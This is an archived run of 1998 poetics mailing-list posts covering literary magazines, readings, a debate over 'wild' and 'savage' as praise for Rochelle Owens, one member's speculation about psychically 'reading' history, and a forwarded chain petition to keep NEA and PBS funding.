That, in the study of literary history, as in the study of the history of science, attempts to discern how process and form of product reveal the thought processes and their changing over a period of time. There is a distinct overlap between the study of the two kinds of history, in that both concern themselves with the larger situation around any more specific instance of subject matter, and both concern themselves with the ideological underpinnings that are affective and effective in relation to the product. We attempt to see how human thought processes evolved, from the artifacts they produced.

Returning to our theme of prognostication, that is a limitation that will eventually be more and more overcome, as more and more of the thought processes connected to specific artifacts become more precisely known. That eventually exceeds a purely logical analysis, of deductive and inductive reasoning, and becomes more empirical. This has to do with the virtual interconnections of events, that remain technically legible, even when the cause-effect connections of traditional empirical observation have long been broken. The trace, or ghost,

of the past, then becomes discernable. There is information content coded onto the artifacts, and that trail leads to other artifacts. The interconnected trails can be "read" and meaningfully interpreted. The event at the crossroads, a hundred years ago, leaves its trace, and we might read that trace as though a crucial part of history is replayed as if on a tape recorder. The information is there, and sometimes glimpsed momentarily by particularly sensitive passers-by, and it is that very haunting of place that gives us the clue as to the encoded virtual record attached to artifact of past event. The trail is connected to and carried along, with the quantum histories of the artifact itself, and with the past connections any discernable artifact has with other artifacts.

Slowly the study of history will change from an imprecise humanity, full of conjecture and subjectivity, to a more purely technical, empirical, science.

It is not as simple as every past quantum event being accessible, but we have yet to learn the rules governing access to quantum histories. Eventually that will unravel more and more completely and comprehension of what was once termed "the unseen world", will extend from comprehension of the virtual phenomenon of gravity to the subtle encoding of quantum mind events onto non mind artifacts. Reading the virtual world will no longer be solely the function of organic systems, known as "psychics", but will be the function of inorganic machines, increasingly precise in comparison to those traditional human imprecisions. The most profound intuitions of the best, most sensitive, historians, irreducible to logic, will also become the increasingly precise functions of the newest waves of our technologies.

History, as a subject of study, as we know it, in terms of its methods, will eventually end. It is certain that it will be replaced by an empirical, and thus increasingly precise, science that is based upon technologies that are derivative from natural processes that were previously only exploited, albeit very imprecisely, by the occult.

M.

aka Bob Ezergailis

↑ Index

122. morpheal

Re: mythology: [sudden inspiration and jungle sense]

Thu 4 Jun 1998

> *These steps. A state of unknowing, a suspension of the cognitive, wherein the cognitive as such, knowing as such, remains the modality, the way of holding oneself, etc. Not so much a cloud of unknowing, but a suspension of assertoric grasping. Yet the discovery that you might call it the will-to-know remains. Staying with that. And persuing the*

> *discovery. Poetic utterance, mythic material, emregent possibilities of discourse, to get it out, to get it said, what sits on the edge of what can be said,--not an abandonment of articulation, but articulation at the liminal edge of knowing. That this is a source of creative involvement. That it is for me, anyway. That its relevance is parallel various techno-issues but not identical with them*

I think what you are referring to has a close connection with the difference between the intuitive and the purely empirical, distinct from the difference between the logical and the empirical, that I loosely referred to in my reply to Gancie's most recent quote re: "analysis".

I do not think you and I are so very far apart in our viewpoints. Thanks, for the detailed response. The sitting and waiting for the right words or the unknown but sought after idea, to suddenly come to mind, from the subconscious, is something familiar to most writers. It is, however, hard to describe as to what that process is. The process seems largely inaccessible. Therein the problem that you seem to be wrestling with.

It is interesting to note that the mind can be taught to sublimate out of consciousness an idea or ideas, and to deliberately hold within the subconscious and/or to work upon those ideas purely within the subconscious, such that later on the end product that was sought is 'automatically' produced as something completed. Either the original information embedded into the subconscious can be called forth and repeated, or the original idea evolved into a more complete and finished product.

Believe it or not, that sublimation of ideas, into the minds of couriers of commands and intelligence is not a new phenomenon. Which tells you how "psychics" attempted to "read" the minds of couriers of sensitive information in the quite distant past, while the specially trained couriers of that data attempted to protect it. That occultism goes far back into ancient times. It is my theory that sensitives were more prevalent then.

In fact it is my own theory as to how the architect, in ancient Egypt, was able to coordinate the building colossal and extremely precise structures using a vast workforce, and only extremely limited methods of commensuration.

Also sometimes referred to as primitive jungle sense.

People who know other non human species, such as horses, particularly well, know that they sometimes have it. They sense it, being more instinctively connected with the unseen, virtual, world. (Virtual in the superluminal modern quantum physics sense of "virtual".)

M.

↑ Index

123. Wolsak

Re: Rain Taxi , Vol. 3 No. 2

Thu 4 Jun 1998

Gary Sullivan wrote:
>
> Hello, everyone:
>
> The latest Rain Taxi features interviews with Nicholson Baker (by Eric
> Lorberer) and Jill Johnston (by E.J. Levy), meditations on the poetry of Gerald
> Burns (by yours truly) and the prose of Bruno Schulz (by John S. Beckmann),
> "The State of Hypertext," by David Auerbach, an overview of AK Press (by Paul
> Dickson and Carolyn Kuebler), Richard Kostelanetz on Moholy-Nagy, good-sized
> reviews of Kevin Killian & Lewis Ellingham's Poet Be Like God and Peter Gizzi's
> The House that Jack Built (by Chris Fischbach), Norah Labiner's Our Sometime
> Sister (by Carolyn Kuebler), The Best of William Burroughs from Giorno Poetry
> Systems (by Peter Kuyper), Collected Works of Velimir Khlebnikov (by Greg
> Bachar), Derrida & Thevenin's The Secret Art of Antonin Artaud (by Eric
> Lorberer), shorter reviews of new books by Nathalie Sarraute, Jeff Clark, John
> Ashbery, Nuriddin Farah, Sara Chin, Julian Rios, William Bronk, and the latest
> in my serialized cartoon, "The New Life" . . . as well as many, many other
> reviews & pieces . . . available free in bookstores soon . . . or, by
> subscription from the publishers: Rain Taxi, Inc., P.O. Box 3840, Minneapolis,
> MN 55403 (one year: $10, domestic; $20 international) . . . or, free from yours
> truly by e-mailing me your snail mail address . . .
>
> Okay, thanks, bye
>
> Gary Sullivan
> [redacted]

Gary, I would love one of these, thank you. Also thanks for your many super-lucent posts!

Melissa Wolsak
#1106-510 West Hastings Street

Vancouver, B.C.
V6B 1L8

↑ Index

124. Ryan Whyte
Re: the analysis: [future historiography as an empirical science]
Thu 4 Jun 1998

On Thu, 4 Jun 1998, morpheal wrote:

> *broken. The trace, or ghost, of the past, then becomes discernable. There is information content coded onto the artifacts, and that trail leads to other artifacts. The interconnected trails can be "read" and meaningfully interpreted. The event at the crossroads, a hundred years ago, leaves its trace, and we might read that trace as though a crucial part of history is replayed as if on a tape recorder. The information is there, and sometimes*

[...]
> Slowly the study of history will change from an imprecise humanity, full of
> conjecture and subjectivity, to a more purely technical, empirical, science.
>

Creepy, here, that the myth of a perfect, a transparent history - which would presume to restore what has been thought, to locate a "genesis" and "play it back" as if on a tape recorder - is championed via a technology fetish and general mathesis of the real. Creepy, that this presumes to make the "artifact" eternal; as if a poem remains the same from one reading to the next.

Ryan

↑ Index

125. MAYHEW
hyperbolic blurbs
Thu 4 Jun 1998

Of course the language of blurbs is hyperbolic--tremendously, extremely, superb, amazing, the best, the brightest. It is a form of advertising. A strictly honest blurb would sound like faint praise indeed:

"Jonathan Mayhew is probably the 10th best poet is Lawrence, Kansas."

Not that there aren't a lot of amazing writers wholly deserving of their blurbs.

Which brings me to John Matthias. I'm planning on getting his books from the library later today, but I'm puzzled by why he has never come to my attention before. What invisible divisions in the poetry universe keep him out of

anthologies and off the radar screens of otherwise informed readers such as myself, if he is as good as they say?

Now I feel ignorant once again.

Jonathan

↑ Index

126. Joel Felix
LVNGs! LVNGs!
Thu 4 Jun 1998

LVNG 7 is now available and includes Nathaniel Mackey's Song of the Ondomboulou: 26, fiction from Lynne Tillman which I read 30 times in the layout of the mag and still can't believe how good it is, Will Alexander in full-froth, tasty poems from Kristin Prevallet, Peter Cole live via satellite from time-crossed Israel, Michael Anania on the suspicious "missing matter" theory of the accelerationg universe, and, well, my commas are running out. Lots More! It's about more than just names, isn't it? We got unknowns! A fine investment opportunity! The venture capitalist's dream!

The magazine is free, but please send 3 dollars for postage in a check
made out to Michael O'Leary. Our address is
P.O. box 3865
Chicago, Illinois 60654-0865

thanks, Joel Felix

↑ Index

127. Pritchett,Patrick
Re: re : bombs opening like flowers
Thu 4 Jun 1998

Thank you, David, for a marvelous reading of this antique Futuristic line, with its Shiva-like connotations of ironic rejuvenation.

The only famous person I've ever met, I should tell the List, was David Bromige, who seized the occasion to hand me a tape recorder. We talked all night and afterwards the tape was empty - nothing but that familiar sibiliant hissing of not-so vacant space. I can testify, however, that Bromige was able to connect far more than Karl Malone, who flowered the net with empty bombs.

Patrick Pritchett

↑ Index

128. Barbara Langhorst
Re: Imagination in danger: "the facts"
Wed 4 Jun 1997

...Raised in a Canadian Mennonite community, Di Brandt writes about the injunctions against imagination--and how ironic it seemed to her that she was expected to believe that Jonah survived three days in the whale but that "writing" (which was discouraged anyway) was forbidden if it wasn't "factual" (_Dancing Naked_).

I've had (Christian but non-Mennonite) students express real distress when asked to embellish or invent a lifestory...

a hoax then, but widely spread

Barb

At 12:38 AM 04/06/98 -0700, you wrote:
> According to an editor at McGraw-Hill,
>>> who did not want to be identified, "We were told to try to avoid using
>>> the word 'imagine' because the people in Texas felt it was too close to
>>> the word 'magic' and therefore might be considered anti-Christian
>
>This is another hoax, isnt it?
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>
>

↑ Index

129. Gwyn McVay
seeking contact info
Thu 4 Jun 1998

Seeking contact info, e- or otherwise, for Rachel Blau du Plessis and Barbara Guest. Kindly, fellow poeticists, backchannel to

[redacted]

and/or

[redacted]

thx--bests--Gwyn

↑ Index

130. **toddbaron**
Re: Poets Theater in San Francisco, round 10
Thu 4 Jun 1998

Kevin:

the lost angels need a road show
here in the too sun drenched
el nino

yrs,

tb

↑ Index

131. **Safdie Joseph**
Re: Poets Theater in San Francisco, round 10
Thu 4 Jun 1998

Wish I could get to Kevin's play -- but liked this probable typo in the announcement of it nevertheless . . .

> You have lived until you hear Scalapino
> belt out "The Merry Widow Waltz" (music Franz Lehar, lyric, K.
> Killian)
> backed by this acid rock post rock art ensemble of the deep Mission,
> it is
> going to burn your ears off!
>
A nice concept! Raising, of course, the question -- what will we be like
AFTER we hear Leslie sing?

↑ Index

132. **david bromige**
poets theater in s f
Thu 4 Jun 1998

---

kevin killian : kenneth branagh

↑ Index

133. Peter Balestrieri
Rochelle Owens/Quo Vadis?
Thu 4 Jun 1998

To Joseph Safdie,

In response to your post, let me say that I agree with you in your description and admiration for Rochelle Owens' _New and Collected Work_ from Junction Press. I do not, as I stated in my original post on this, agree with the way the work was described on the List or on the book's back cover. I had heard of Rochelle Owens but had not read her. Then her name came up in a discussion of "rants." Her work was described as "savage." This made me curious and I decided to read some of her work. I wanted especially to see what "rant" and "savage" meant to other people/poets. I asked for recommendations and received many. Mark Weiss was kind enough to reply and send me a copy(Mark, I am grateful, though we disagree about the blurbs). I had specifically asked Mark if _New and Collected_ contained "wild" work because of the reasons I just stated. He thought so and sent me a sample. "Wild" isn't my idea of a "criteria for poetic excellence"(your phrase). It was the word I used to describe the way Owens' work had been endorsed on the List.

I don't think anything would be accomplished, either here or via backchannel, by comparing different poems and saying, "see, that is (or isn't) 'wild.'" Do you agree with Marjorie Perloff's blurb (and the Olson review posted by Mark Weiss) that the work is "savage"? I find the word "savage" problematic for its ethnographic invocation of the primitive as I do your use of the phrase "poetic excellence" for its pretensions to universality. Ultimately, all these considerations amount to matters of taste.

Criticizing Owens was not the point of my post; it was to draw attention to the fact that there are consistent postings to the List that seem very provincial considering the avowed purpose of the List. The recent flap over "borrowing," "appropriation" or "stealing" (whichever term you prefer) is a good example. Why shouldn't poets be as free as visual artists to "steal"? Why the aversion to found texts and everyday or techno forms? The "older definition of avant-garde work, one that is increasingly codified and canonized" that I wrote about is the historical tendency towards enshrining the difficult work of the past as the new canon while more recent difficult work goes relatively unnoticed. I believe we should resist that tendency as strenuously as possible by acknowledging important work from every period but staying focused on work and trends that are developing now. This is only

my opinion. It's what I'd like to see more of on the List. I appreciate your response to my post.

↑ Index

134. **Stephen Cope**

Re: Fwd: helping the NEA

Thu 4 Jun 1998

> *X-Sender: [redacted]*
> *Date: Thu, 04 Jun 1998 07:27:21*
> *To: [redacted]*
> *From: Fanny Howe <[redacted]>*
> *Subject: Re: Fwd: helping the NEA*
> *Cc: [redacted]*
> *Mime-Version: 1.0*
>
> *At 12:52 AM 6/4/98 EDT, you wrote:*
> *Return-Path: <[redacted]>*
> *Received: from relay23.mx.aol.com (relay23.mail.aol.com [172.31.106.69]) by air06.mail.aol.com (v43.25) with SMTP; Wed, 03 Jun 1998 11:24:41 -0400*
> *Received: from mail2.sirius.com (mail2.sirius.com [205.134.253.132]) by relay23.mx.aol.com (8.8.5/8.8.5/AOL-4.0.0) with ESMTP id LAA16631; Wed, 3 Jun 1998 11:24:39 -0400 (EDT)*
> *Received: from ernestine.smwm.com ([207.44.205.4]) by mail2.sirius.com (8.8.7/Sirius-8.8.7-97.08.12) with ESMTP id IAA05284; Wed, 3 Jun 1998 08:24:35 -0700 (PDT)*
> *Received: from [205.134.227.32] (ppp-asft01--032.sirius.net [205.134.227.32]) by ernestine.smwm.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id L5YV18BJ; Wed, 3 Jun 1998 08:22:55 -0700*
> *X-Sender: [redacted]*
> *Message-Id: <v01530503b19aaa72f293@[205.134.227.32]>*
> *Date: Wed, 3 Jun 1998 08:27:07 +0100*
> *To: [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted]*
> *From: [redacted] (Cathy Simon)*
> *Subject: helping the NEA*
> *Mime-Version: 1.0*
> *Content-type: text/plain; charset=US-ASCII*
> *Content-transfer-encoding: 7bit*
>
> *Date: Fri, 29 May 1998 10:10:52 -0400*

> *From: William Saunders <[redacted]>*
> *Reply-To: [redacted]*
> *Organization: Harvard GSD*
> *MIME-Version: 1.0*
> *To: "\"lamster, mark\"" <[redacted]>,*
> *"abrams, janet" <[redacted]>,*
> *"wigley, mark" <[redacted]>,*
> *"whiting, sarah" <[redacted]>,*
> *"vidler, tony" <[redacted]>,*
> *"VONHOFFMAN, ALEX" <[redacted]>,*
> *"stockard, jim" <[redacted]>,*
> *"vera, jane" <[redacted]>,*
> *"vaughn, melissa" <[redacted]>,*
> *"Truslow, Miriam" <[redacted]>,*
> *"trieb, marc" <[redacted]>,*
> *"sommer, richard" <[redacted]>,*
> *"speaks, michael" <[redacted]>,*
> *"SOLNIT, REBECCA" <[redacted]>,*
> *"Sekler, Eduard" <[redacted]>,*
> *"simon, cathy" <[redacted]>,*
> *"sennett, richard" <[redacted]>,*
> *"Schwartz, Martha" <[redacted]>,*
> *"schneider, john" <[redacted]>,*
> *"reiter, duke" <[redacted]>, "rosa, joseph" <[redacted]>,*
> *"Rorty, Richard" <[redacted]>,*
> *"MCCURRY, MARGARET" <[redacted]>,*
> *"ponce de leon, monica" <[redacted]>,*
> *"reeve, margie" <[redacted]>,*
> *"pedret, annie" <[redacted]>,*
> *"plattus, alan" <[redacted]>,*
> *"owen, graham" <[redacted]>,*
> *"Ostergard, Derek" <[redacted]>,*
> *Jan Abrams <[redacted]>,*
> *"mulligan, mark" <[redacted]>,*
> *"Mori, Toshiko" <[redacted]>,*
> *"mcmurray, kelly" <[redacted]>,*
> *"Machado, Rodolfo" <[redacted]>,*
> *"Mccullough, Malcolm" <[redacted]>,*
> *Marc Treib <[redacted]>,*
> *"lippert, kevin" <[redacted]>,*
> *"loomis, john" <[redacted]>,*
> *"leet, stephen" <[redacted]>,*
> *"Leblanc, Jude" <[redacted]>,*
> *"ksiazek, sarah" <[redacted]>,*
> *"krieger, elliot" <[redacted]>,*
> *"Krieger, Alex" <[redacted]>,*
> *"Kaliski, John" <[redacted]>,*
> *"jacobson, clare" <[redacted]>,*

> "Hodge, Brooke" <[redacted]>,
> "huyssen, andreas" <[redacted]>,
> "isenstadt, sandy" <[redacted]>,
> "hubbard, bill" <[redacted]>,
> "Holstein, Lynn" <[redacted]>,
> "green, caroline" <[redacted]>,
> "Hilderbrand, Gary" <[redacted]>,
> "hale, jonathan" <[redacted]>,
> "Heussen, Andreas" <[redacted]>,
> "Herscher, Andrew" <[redacted]>,
> "Hays, K" <[redacted]>,
> "ford, edward" <[redacted]>,
> "gottschang, thomas" <[redacted]>,
> "ghirardo, diane" <[redacted]>,
> "Daniels, Mary" <[redacted]>,
> "Fitzgerald, Richard" <[redacted]>,
> "ferris, roger" <[redacted]>,
> "fisher, tom" <[redacted]>,
> "Fields, Darell" <[redacted]>,
> "El-khoury, Rodolphe" <[redacted]>,
> eck jeremiah <[redacted]>,
> "Driscoll, John" <[redacted]>,
> "eames, demetrios" <[redacted]>,
> "diskin, steve" <[redacted]>,
> "disponz,j" <[redacted]>,
> "dimendberg, ed" <[redacted]>,
> "corner, james" <[redacted]>,
> "davis, mike" <[redacted]>,
> "crawford, margaret" <[redacted]>,
> "Crissman, James" <[redacted]>,
> "Cott, Leland" <[redacted]>,
> "Colquhoun, Alan" <[redacted]>,
> "connah, roger" <[redacted]>,
> "brown, rick" <[redacted]>,
> "colomina, beatriz" <[redacted]>,
> "Cohen, Preston" <[redacted]>,
> "campbell, robert" <[redacted]>,
> "Burns, Carol" <[redacted]>,
> "Bender, Thomas" <[redacted]>,
> "broderick, jim" <[redacted]>,
> "bognar, botand" <[redacted]>,
> "Berrizbeitia, Anita" <[redacted]>,
> "Blau, Eve" <[redacted]>,
> "beardsley, John" <[redacted]>,
> "benedikt, michael" <[redacted]>,
> "ANTONELLI, PAOLA" <[redacted]>,
> "Baird, George" <[redacted]>
> Subject: helping the NEA

X-Priority: 3 (Normal)

Subject: NEA Petition
RE: National Endowment for the Arts, NPR, PBS Petition

This petition is being passed around the internet. Please add your name to it so that funding can be maintained for the NEA, NPR & PBS.

Please keep this petition rolling. DO NOT REPLY TO ME. Please sign at the bottom and forward to others to sign. If you prefer not to sign please send to the e-mail address indicated. Thanks.

Here goes:

This is being forwarded to several people at once to add their names to the petition. It won't matter if many people receive the same list as the names are being managed.

This is for anyone who thinks NPR/PBS is a worthwhile expenditure of $1.12/year of their taxes, a petition follows. If you sign, please forward on to others (not back to me). If not, please don't kill it-send it to the email address listed here: [redacted]
PBS,

NPR (National Public Radio), and the arts are facing major cutbacks in funding. In spite of the efforts of each station to reduce spending costs and streamline their services, some government officials believe that the funding currently going to these programs is too large a portion of funding for something which is seen as not worthwhile. Currently,taxes from the general public for PBS equal $1.12 per person per year, and the National Endowment for the Arts equals $0.64 a year.

A January 1995 CNN/USA Today/Gallup poll indicated that 76% of Americans wish to keep funding for PBS, this percentage of people polled is surpassed only by national defense and law enforcement as the programs that are the most valuable for federal funding.

Each year, the Senate and House Appropriations committees each have 13

subcommittees with jurisdiction over many programs and agencies. Each

subcommittee passes its own appropriation bill. The goal each year is to have each bill signed by the beginning of the fiscal year, which is October 1.

The only way that our representatives can be aware of the base of support for PBS and funding for these types of programs is by making our voices heard.

Please add your name to this list and forward it to friends if you believe in what we stand for. This list will be forwarded to the President of the United States, the Vice President of the United States, and Representative Newt Gingrich, who is the instigator of the action to cut funding to these worthwhile programs.

**If you happen to be the 150th, 200th, 250th, etc. signer of this petition, please forward a copy to: [redacted].*

If that address is inoperative, please send it to:

[redacted].

This way we can keep track of the lists and organize them.

Forward this to everyone you know, and help us to keep these programs alive.

Thank you.

---

416) Arlene Hamilton, Everett, WA
417) Irina Rudakova, University of Washington, Seattle, WA
418) Persephone Miel, Internews, Moscow, Russia
419) Michael J. Mead, New York, NY
420) Spiro C. Lampros, New York University, New York, NY
421) Kelly Sheehan, Brooklyn, NY
422) Henry Kimsey-House, Sebastopol, CA
423) Cynthia Loy Darst, Los Angeles, CA
424) David Darst, Los Angeles, CA
425) Arline Berman, Atlanta, GA

426) Laura Davis, Atlanta, GA
427) Carole Billingham, Denver, CO
428) Sonja M. Hansen, Seattle, WA
429) Rebecca Crichton, Seattle, WA
430) Cedron Sterling, Seattle, WA
431) N'Shama Radha Sterling, Seattle, WA
432) Jim Ekberg, Seattle, WA
433) Carol Ruth Summers, Seattle, WA
434) Ken Jenkins, Novato, CA
435) Todd Stock, Los Gatos, CA
436) Donald Rose, Los Angeles CA
437) Tony Puryear, Venice, CA
438) Eric Finke, Venice, CA
439) Janet Forman, New York, NY
440) Lynda Hansen, NY, NY
441) Richard Weise, Nashville, TN
442) David Madson, Albany, CA
443) Rick Wise, Albany, CA
444) Bill Rogers, Mendocino, CA
445) Rita Hovakimian, San Francisco, Ca
446) Tracy E. Longacre, San Francisco, CA
447) Anita G. Barfield, San Francisco, CA
448) Penelope M. Warren, San Francisco, CA
449) Edward G. Guggenheim, San Francisco, CA
450) Thao N. Lam, Riverside, CA
451) Antonio Rauti, Riverside, CA
452) Carlotta Domeniconi, Riverside, CA
453) Stephanie Fonder, Riverside, CA
454) Sohail Nadimi, Riverside, CA
455) Shirin Etessam, San Francisco, CA
456) Jahanshah Javid, Albany, CA
457) Haleh Nazeri, NY, NY
458) Larry Weissman, NY, NY
459) Hilary Herscher
460) Shena Patel
461) Steven Gutierrez
462) Simon Glick
463) Michael Gillespie, New York, NY
464) Janna Scott, Dallas, TX
465) Robert L. Cordell II, New York, NY
466) Colleen Theis, New York, NY
467) Karen Speer, New York, NY
468) James Karn, New York, NY
469) Raymur Walton, New York, NY
470) Martha Brice Gaillard
471) Martha Gary
472) Howard Stovall, Memphis, TN
473) Pat Mitchell, Memphis,

474) Tara McAdams, Memphis, TN
475) Robert Gordon, Memphis
476)Robert Freed, Richmond, VA
477) Babs Jackson, Richmond, VA
478) Michael Broyles, State College, PA
479) Ruth Silverman, Buffalo Grove, IL
480) Karen Primack, Silver Spring, MD
481) George Hinds, Takoma Park, MD
482 Luc Leplae
483 Suzanne Rosenblatt
484 Mark J. Fraire, Madison, WI
485 Steve Barberio, Hopkins, MN
486 Kari Kjome, Minneapolis, MN
487 Peter Kjome, Grand Rapids, MI
488 Robert Driscoll, Jr., Pittsburgh, PA
489 Jonathan J. Dlouhy, Atlanta, GA
490 Ronda Respess, Atlanta, GA
490 Ronda Respess, Atlanta, GA
491 Ann Steck, Alexandria, VA
492 De Fischler Herman, Takoma Park, MD
493 Naomi Mara Hyman, Stevensville, MD
494 Patrice L. Leichter, Philadelphia, PA
495 Stuart Bogom, Philadelphia, PA
496 Dorel Shannon, Philadelphia, PA
497) Sandi Vito
498) Lou Freimiller
499) Cynthia Waters Spaulding, Philadelphia, PA
500) Sheila F. Waters, Gaithersburg, MD
501) Aissia L. Richardson, Philadelphia, PA
502) E.A. Kafkalas, Allentown, PA
503) Shirl Gower, Bethlehem, PA
504)Ysaye M. Barnwell, Washington, DC
505) Samuel A. Floyd, Jr., Chicago IL
506) Anne Dhu McLucas, Eugene, OR
507) John Potash, Sioux City, IA
508) Nina V. Fedoroff, State College, PA
509) Daniel J. Cosgrove, Pennsylvania Furnace, PA
510) Lincoln Taiz, Santa Cruz, CA
511) Richard Coplon, Santa Cruz, CA
512) Clare Greene, Santa Cruz, CA
513) Betsy Steele, Santa Cruz, CA
514) David Casper, Aptos, CA
515) Peggy Casper, Aptos, CA
516) Joe Choromanski, Pacfic Grove, CA
517) Bruce Upton, Pacific Grove,CA
518) Lisa Uttal, Monterey, Ca
519) Gretchen Daily, Stanford, CA
520)Claire Kremen, Stanford, CA

> *521) Adam Kremen, Oakland, CA*
> *522) Jack Block, El Cerrito, CA*
> *523) Susan Block, Cambridge Ma*
> *524) Robert Burt, New Haven, CT*
> *525) Elise Snyder, New Haven, CT*
> *526) Melvyn B. schupack, MD, Mill Valley, CA*
> *527) Joel Saldinger, MD,Berkeley, CA*
> *528) Barbara J. Weiss, Oakland, CA*
> *529) Irving Kermish, Oakland, CA*
> *530) Neal Weinstock, Brooklyn, NY*
> *531) Audrey Korelstein, Brooklyn, NY*
> *532) Jim Macnie, Brooklyn, NY*
> *533) Barbara Longo, Watertown, MA*
>
> *534) Marie countryman, Montpelier VT*
> *535) Brandon Landis, Portland, OR*
> *536) Katye Hindman, Portland, OR*
> *537) Jamie Tolbert, Los Angeles, CA*
> *538) P. David Ebersole, Silver Lake, CA*
> *539) Todd Hughes, Silver Lake, CA*
> *540) Sheila Levrant de Bretteville, Hamden, CT*
> *541) Rudy VanderLans, Berkeley, CA*
> *542) Paola Antonelli, New York, NY*
> *543) Cathy Lang Ho, Berkeley, CA*
> *544) Richard Ingersoll, Berkeley, CA*
> *545) William Saunders, Newton, MA*
> *546) Cathy Simon, San Francisco*
> *547) Michael Palmer, San Francisco*
> *548> Fanny Howe, Los Angeles, CA*
> *549> Stephen Cope, San Diego, CA*

↑ Index

135. Richard Long
*Summer Issue of _The 2River View_*
Thu 4 Jun 1998

Hi Ya'll,

It's not feeling like summer here in Buffalo; nonetheless, it's time for the summer issue of _The 2River View_.

My apologies about the mass mailing. Nonetheless,

This Summer issue has new poems by Salvatore Amico M. Buttaci, Larry Griffin, Michael Largo, billy little, Holly Pettit, Jim Sherry, Neca Stoller, Glenda Zumwalt, Peter Siedleck, and Robert Creeley (with images by Robert Indiana).

You can read _The 2RV_ by going to

http://www.daemen.edu/~2River

and clicking on

CURRENT ISSUE

If you have any comments (good, bad, or ugly), I'd like to hear them.

Richard Long

Richard Long

2River Poetry

[redacted]

http://www.daemen.edu/~2River

↑ Index

136. Christopher W. Alexander

Objects and Torque (not physics) query

Thu 4 Jun 1998

---

anyone out there have info on the east-coast zines:

- Objects (Robert Fitterman?)
- Torque (??)

checkt the Mags section @ the EPC but to no avail.
contact/subscr. info wld be much apprec. thx chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/ **site temporarily unavailable**

↑ Index

137. Mark Weiss

Re: Rochelle Owens/Quo Vadis?

Thu 4 Jun 1998

I had hoped to stimulate a discussion of Rochelle Owens'rather unusual work. This apparently is not to be.

So, for the record, the words "wild" and "savage" have the same ethnographic and neocolonialist connotations, are equally problematic, if one wishes to read them that way (in French the word "sauvage" covers both meanings. We derive our word from the French, and until very recently, as the history of words goes, it was synonymous with the germanic-derived "wild." Hence, "the wild man of Borneo." Hence, also, the practice of "wilding," which I think could fairly be called savage in another of the word's senses).

I haven't noticed any general aversion to appropriation, or found texts, or "techno forms" on this list--quite the contrary--although there has been disagreement about some texts. I, for example, don't particularly like Alan Sondheim's work, for instance, but I don't blame the machine or the machinery.

(Appropriation will always be a tricky issue--is it, in a given instance, homage or plagiarism? That seems to depend on one's sense of its function in the work at hand. Consider this--in the early eighties in New York there were several artists--those with better memories than mine can supply names--who painted museum copies of old masters, retitled them, and exhibited them as their own, not meaning to deceive, but to comment on the cannonical nature of the works in question. This generated some noise. I, for one, thought it a waste of time, unlike, say, Colescott's appropriations, where the familiar and the unfamiliar comment on each other, usually to hilarious effect, as in his "George Washington Carver Crossing the Delaware.")

It is in the nature of a selected poems that it tends to consist of older work (this book includes the dates of original publication in its title). Rochelle is in her 60s. We rarely sum up the work-to-date of poets in their twenties or thirties in this manner unless they're dead, or unless we're joking.

I'm sorry Rochelle's poetry didn't meet your needs. Other members of the list might find it useful, exciting, even "wild." It does seem a waste of their time to discuss what it isn't before discussing what it is.

At 10:29 AM 6/4/98 -0700, you wrote:
> To Joseph Safdie,
>
> In response to your post, let me say that I agree with you in your
> description and admiration for Rochelle Owens' _New and Collected Work_
> from Junction Press. I do not, as I stated in my original post on
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> List.
>
> I don't think anything would be accomplished, either here or via
> backchannel, by comparing different poems and saying, "see, that is
> (or isn't) 'wild.'" Do you agree with Marjorie Perloff's blurb (and
> the Olson review posted by Mark Weiss) that the work is "savage"? I
> find the word "savage" problematic for its ethnographic invocation of
> the primitive as I do your use of the phrase "poetic excellence" for
> its pretensions to universality. Ultimately, all these considerations
> amount to matters of taste.
>
> Criticizing Owens was not the point of my post; it was to draw
> attention to the fact that there are consistent postings to the List
> that seem very provincial considering the avowed purpose of the List.
> The recent flap over "borrowing," "appropriation" or "stealing"
> (whichever term you prefer) is a good example. Why shouldn't poets be
> as free as visual artists to "steal"? Why the aversion to found texts
> and everyday or techno forms? The "older definition of avant-garde
> work, one that is increasingly codified and canonized" that I wrote
> about is the historical tendency towards enshrining the difficult work
> of the past as the new canon while more recent difficult work goes
> relatively unnoticed. I believe we should resist that tendency as
> strenuously as possible by acknowledging important work from every
> period but staying focused on work and trends that are developing now.
> This is only my opinion. It's what I'd like to see more of on the
> List. I appreciate your response to my post.
>
>

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138. **dbkk**

Jeff Derksen directory assistance

Thu 4 Jun 1998

Hi this is Dodie. If anybody has Jeff Derksen's e-mail or phone number and could back channel it to me I'd greatly appreciate it.

Thanks.

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139. Simon DeDeo
Re: Fwd: helping the NEA
Thu 4 Jun 1998

I would really appriciate it if people could not send these on; if you feel you have some urgent political cause, then make a web page. By the time you figure out how much money was spent storing and passing on a petition (when you could probably get an order of magnitude more signatures by canvassing a campus), you realize that it's not really helping anybody. This goes for "virus alerts" too, which are almost always hoaxes a la Dawkins' memes.

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140. louis stroffolino
APOLOGIES TO RON SILLIMAN
Thu 4 Jun 1998

So, last night, at St. Marks group reading church for anthologies I arrive early to assuage nervousness in drink and am standing at urinal stall talking about the weather to a man in a green shirt who "looks familiar" but i can't place the context.... anyway, he stays for 90% of the reading, and then as he leaves I realize he looks like ROn Silliman. I ask Drew Gardiner. It was Ron Silliman. Thanks for coming Ron Silliman, and apologies.....chris

↑ Index

141. William Burmeister Prod
Re: vintage fin-de-siecle cheesecloth
Thu 4 Jun 1998

On Jun 3, 6:20pm, Karen Kelley wrote:
> Subject: Re: vintage fin-de-siecle cheesecloth
> William Burmeister Prod wrote:
>
>
> > What do listcitizens think of (if anything) the later noir films of David
> > Lynch/surrealism as this relates to recent threads on "flatness," 'specially
> > with regard to flattened female figuretypes?
> >
>
> Not exactly the answer, but related: Watched Greenaway's "Pillow Book" last

night.
> Exquisite film. And I thought of the recent list-response to the Nikuko poems.
> Greenaway certainly flirts with steroetypes, though not, I think, Asian-female
> stereotypes so much as artsy-bohemian stereotypes. Also re: the recent talk about
> repetition as stabilizing/destabilizing.

Better: thanks for the recommendation! I've heard nothing but good about this film on this list. I need to get off my ass and see "Pillow Book" for myself.

